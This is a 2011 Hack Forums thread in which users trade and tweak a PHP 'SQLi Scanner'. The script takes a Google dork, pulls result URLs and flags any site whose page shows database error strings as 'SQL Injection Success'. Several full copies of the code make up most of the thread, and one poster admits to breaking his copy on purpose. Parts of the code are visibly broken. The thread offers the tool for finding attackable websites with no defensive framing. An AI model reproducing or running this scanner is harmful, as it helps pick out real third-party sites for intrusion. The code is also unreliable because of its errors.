

Forum:[Hack Forums](#)

Thread: [SQLi Scanner](#)

skatomagia - February 13, 2011, 9:23 am

Hello :)

Is there any way to change this?

PHP Code

```
<?php
<html>
<head>
<title>SQLi Scanner by r3m1ck</title>
<style>
body{
background: black;
color: red;
font-family: monospace;
font-size: 12px;
}

input{
background: black;
border: 1px solid red;
color: red;
}

h2{
color: red;
}

a{ color: #5A5A5A; text-decoration: none; }
a:visited, a:active{ color: #5A5A5A; text-decoration: line-through; }
a:hover{ color: #00FF00; text-decoration: line-through; }
.effektok:hover { text-decoration: underline; }
.effektfalse:hover { text-decoration: line-through; }

</style>

</head>
<body>

<?php
echo "<h2>SQLi Scanner By r3m1ck ~ Indonesian Coder</h2>";
echo "<form action=" method='post'>";
echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl.php?id+site'></p>";
echo "<input type='submit' value=' Start '>";
echo "<hr><br />";
```

```

if($_POST['dork']) {

    @set_time_limit(0);
    @error_reporting(0);
    @ignore_user_abort(true);
    ini_set('memory_limit', '128M');

    $google =
    "http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=REPLACE_DORK
    &num=100&hl=en&as_qdr=all&start=REPLACE_START&sa=N";

    $i = 0;
    $a = 0;
    $b = 0;

    while($b <= 900) {
        $a = 0;
        flush(); ob_flush();
        echo "Pages: [ $b ]<br />";
        echo "Dork: [ <b>".$_POST['dork']."</b> ]<br />";
        echo "Scanning Google<br />";
        flush(); ob_flush();

        if(preg_match("/did not match any documents/", Connect_Host(str_replace(array(
        "REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork'].", "$b"), $google)), $val)) {
            echo "Bisey bulunamadi<br />";
            flush(); ob_flush();
            break;
        }

        preg_match_all("</h2 class=(.*?)><a href='\"(.*?)\"' class=(.*?)>/", Connect_Host(str_replace(array(
        "REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork'].", "$b"), $google)), $sites);
        echo "Loadiing...<br />";
        flush(); ob_flush();
        while(1) {

            if(preg_match(
            "/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result re
            source in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microso
            ft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|I
            ncorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "", $sites[2][$a]))) {
                echo "<a href='\".Clean(str_replace(\"=\", \"\", $sites[2][$a])).\" target='_blank' class='effectok'>".
                str_replace("=", "", $sites[2][$a]).
                "</a> <== <font color='green'>SQL Injection Success !</font><br />";
            } else {
                echo "<a href='\".Clean(str_replace(\"=\", \"\", $sites[2][$a])).\" target='_blank' class='effectfalse'>".
                str_replace("=", "", $sites[2][$a])."</a> <== <font color='red'>Not access ! </font><br />";
                flush(); ob_flush();
            }
            if($a > count($sites[2])-2) {
                echo "Bitti<br />";
                break;
            }
        }
    }
}

```

```
$a = $a+1;  
}  
$b = $b+200;  
}  
}
```

```
function Connect_Host($url) {  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_FOLLOW, 0);  
curl_setopt($ch, CURLOPT_HEADER, 1);  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_TIMEOUT, 30);  
$data = curl_exec($ch);  
if($data) {  
return $data;  
} else {  
return 0;  
}  
}
```

```
function Clean($text) {  
return htmlspecialchars($text, ENT_QUOTES);  
}
```

?>

```
</body>  
</html>
```

To change the default search engine (((
http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=REPLACE_DORK&num=100&hl=en&as_qdr=all&start=REPLACE_START&sa=N)))

with googles one?

sorry about my english :)

Uncomplicated - February 13, 2011, 9:39 am

So ? Just change it. The script is just plain text that can be modified using a text editor.

skatomagia - February 13, 2011, 10:05 am

when i change it scanner doesn't work :(

fl3x - February 13, 2011, 10:07 am

(Feb 13, 2011 11:05 AM)skatomagia Wrote: [\[CITE\]](#) when i change it scanner doesn't work :(
You don't deserve to leech a script if you can't even leech properly ^_^...

http://www.google.com/#sclient=psy&hl=en&q=REPLACE_DORK&aq=f&aqi=&aql=&oq=&pbx=1&fp=62facbe1bfa93917

idfk if thats what you want, but I switched the url with a google.com one or w/e.

I also broke something on purpose, so you can fix that if you want it that badly.

PHP Code

```
<?php
<html>
<head>
<title>SQLi Scanner by r3m1ck</title>
<style>
body{
background: black;
color: red;
font-family: monospace;
font-size: 12px;
}

input{
background: black;
border: 1px solid red;
color: red;
}

h2{
color: red;
}

a{ color: #5A5A5A; text-decoration: none; }
a:visited, a:active{ color: #5A5A5A; text-decoration: line-through; }
a:hover{ color: #00FF00; text-decoration: line-through; }
.effectok:hover { text-decoration: underline; }
.effectfalse:hover { text-decoration: line-through; }

</style>

</head>
<body>

<?php
echo "<h2>SQLi Scanner By r3m1ck ~ Indonesian Coder</h2>";
echo "<form action=" method='post'>";
echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl.php?id+site'></p>";
echo "<input type='submit' value=' Start '>";
echo "<hr><br />";

if($_POST['dork']) {

@set_time_limit(0);
@error_reporting(0);
@ignore_user_abort(true);
ini_set('memory_limit', '128M');

$google =
"http://www.google.com/#sclient=psy&hl=en&q=REPLACE_DORK&aq=f&aqi=&aql=&oq=&pbx=1&f
p=62facbe1bfa93917";
```

```

$i = 0;
$a = 0;
$b = 0;

while($b <= 900) {
$a = 0;
flush(); ob_flush();
die();
echo "Pages: [ $b ]<br />";
echo "Dork: [ <b>".$_POST['dork']. "</b> ]<br />";
echo "Scanning Google<br />";
flush(); ob_flush();
if(preg_match("/did not match any documents/", Connect_Host(str_replace(array(
"REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']. "", "$b"), $google)), $val)) {
echo "Bisey bulunamadi<br />";
flush(); ob_flush();
break;
}

preg_match_all("<h2 class=(.*?)><a href='\"(.*?)\"' class=(.*?)>/", Connect_Host(str_replace(array(
"REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']. "", "$b"), $google)), $sites);
echo "Loadiing...<br />";
flush(); ob_flush();
while(1) {
die();
if(preg_match(
"/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result re
source in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microso
ft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|I
ncorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "", $sites[2][$a]))) {
echo "<a href='\".Clean(str_replace("=", "", $sites[2][$a])).\"' target='_blank' class='effectok'>".
str_replace("=", "", $sites[2][$a]).
"</a> <== <font color='green'>SQL Injection Success !</font><br />";
} else {
echo "<a href='\".Clean(str_replace("=", "", $sites[2][$a])).\"' target='_blank' class='effectfalse'>".
str_replace("=", "", $sites[2][$a])."</a> <== <font color='red'>Not access ! </font><br />";
flush(); ob_flush();
}
if($a > count($sites[2])-2) {
echo "Bitti<br />";
break;
}
$a = $a+1;
}
$b = $b+200;
}
}

function Connect_Host($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOW, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);

```

```
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if($data) {
return $data;
} else {
return 0;
}
}
```

```
function Clean($text) {
return htmlspecialchars($text, ENT_QUOTES);
}
```

?>

```
</body>
</html>
```

skatomagia - February 13, 2011, 10:29 am

i didn't say tha tis code was mine. sorry :(thanks for try dude but its not working again :((i fixed the broken parts) sorry about my english :)

skatomagia - February 13, 2011, 12:35 pm

nothing? look why i want this..

i am using this code

PHP Code

```
<?php
<html>
<head>
<title>SQLI Scanner</title>
<style>
body{
background: #0F0F0F;
color: white;
font-family: monospace;
font-size: 12px;
}
```

```
input{
background: #0F0F0F;
border: 1px solid #00FF00;
color: #00FF00;
}
```

```
h2{
color: #55FF2A;
}
```

```
a{ color: #5A5A5A; text-decoration: none; }
```

```

a:visited, a:active{ color: #5A5A5A; text-decoration: line-through; }
a:hover{ color: #00FF00; text-decoration: line-through; }
.effectok:hover { text-decoration: underline; }
.effectfalse:hover { text-decoration: line-through; }
</style>
</head>
<body>
<p align="center">
<?php
echo "<form action=" method='post'>";
echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl:news.php?id='></p>";
echo "<input type='submit' value='Search'>";
echo "<hr><br />";
if($_POST['dork']) {
@set_time_limit(0);
@error_reporting(0);
@ignore_user_abort(true);
ini_set('memory_limit', '128M');
$google =
"http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlxqm&q=REPLACE_DORK
&num=100&hl=en&as_qdr=all&start=REPLACE_START&sa=N";
$i = 0;
$a = 0;
$b = 0;
while($b <= 900) {
$a = 0;
flush(); ob_flush();
echo "Pages: [ $b ]<br />";
echo "Dork: [ <b>".$_POST['dork'].</b> ]<br />";
echo "Getting result from google...<br />";
flush(); ob_flush();
preg_match_all("/<h2 class=(.*?)><a href='\"(.*)\"' class=(.*?)>/", Connect_Host(str_replace(array(
"REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork'].", "$b"), $google)), $sites);
echo "Scanning...<br />";
flush(); ob_flush();
while(9) {
if(preg_match(
"/You have an error in your SQL',Division by zero in|supplied argument is not a valid MySQL result r
esource in|Call to a member function','Microsoft JET Database|ODBC Microsoft Access Driver|Micro
soft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracl
e|Incorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "=", $sites[2][$a]))) {
echo "<a href='".Clean(str_replace("=", "=", $sites[2][$a]))."' target='_blank' class='effectok'>".
str_replace("=", "=", $sites[2][$a]).
"</a> <== <font color='green'>SQL Injection vulnerable</font><br />";
} else {
echo "<a href='".Clean(str_replace("=", "=", $sites[2][$a]))."' target='_blank' class='effectfalse'>".
str_replace("=", "=", $sites[2][$a])."</a> <== <font color='red'>Failed</font><br />";
flush(); ob_flush();
}
if($a > count($sites[2])-1) {
echo "Done<br />";
break;
}
}

```

```
$a = $a+1;
}
$b = $b+100;
}
}
function Connect_Host($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if($data) {
return $data;
} else {
return 0;
}
}
function Clean($text) {
return htmlspecialchars($text, ENT_QUOTES);
}
?>
</p>
</body>
</noscript>
</html>
```

but when i use this for dork <<inurl:article.php?ID=21+site:gr>> i'm getting only 9 sites back..
but this guy here

<http://webhosting.blackoutaio.com/~sqli/>

gets much more results.. :(i'm not a php developer i know a few thing about it and i just want
someone to help me :)

sorry about my english :)

skatomagia - February 14, 2011, 11:27 am

problem solved. Thanks :)

kostis12345 - February 14, 2011, 11:38 am

You can post the code you're using so that others with the same problem will have it solved ;)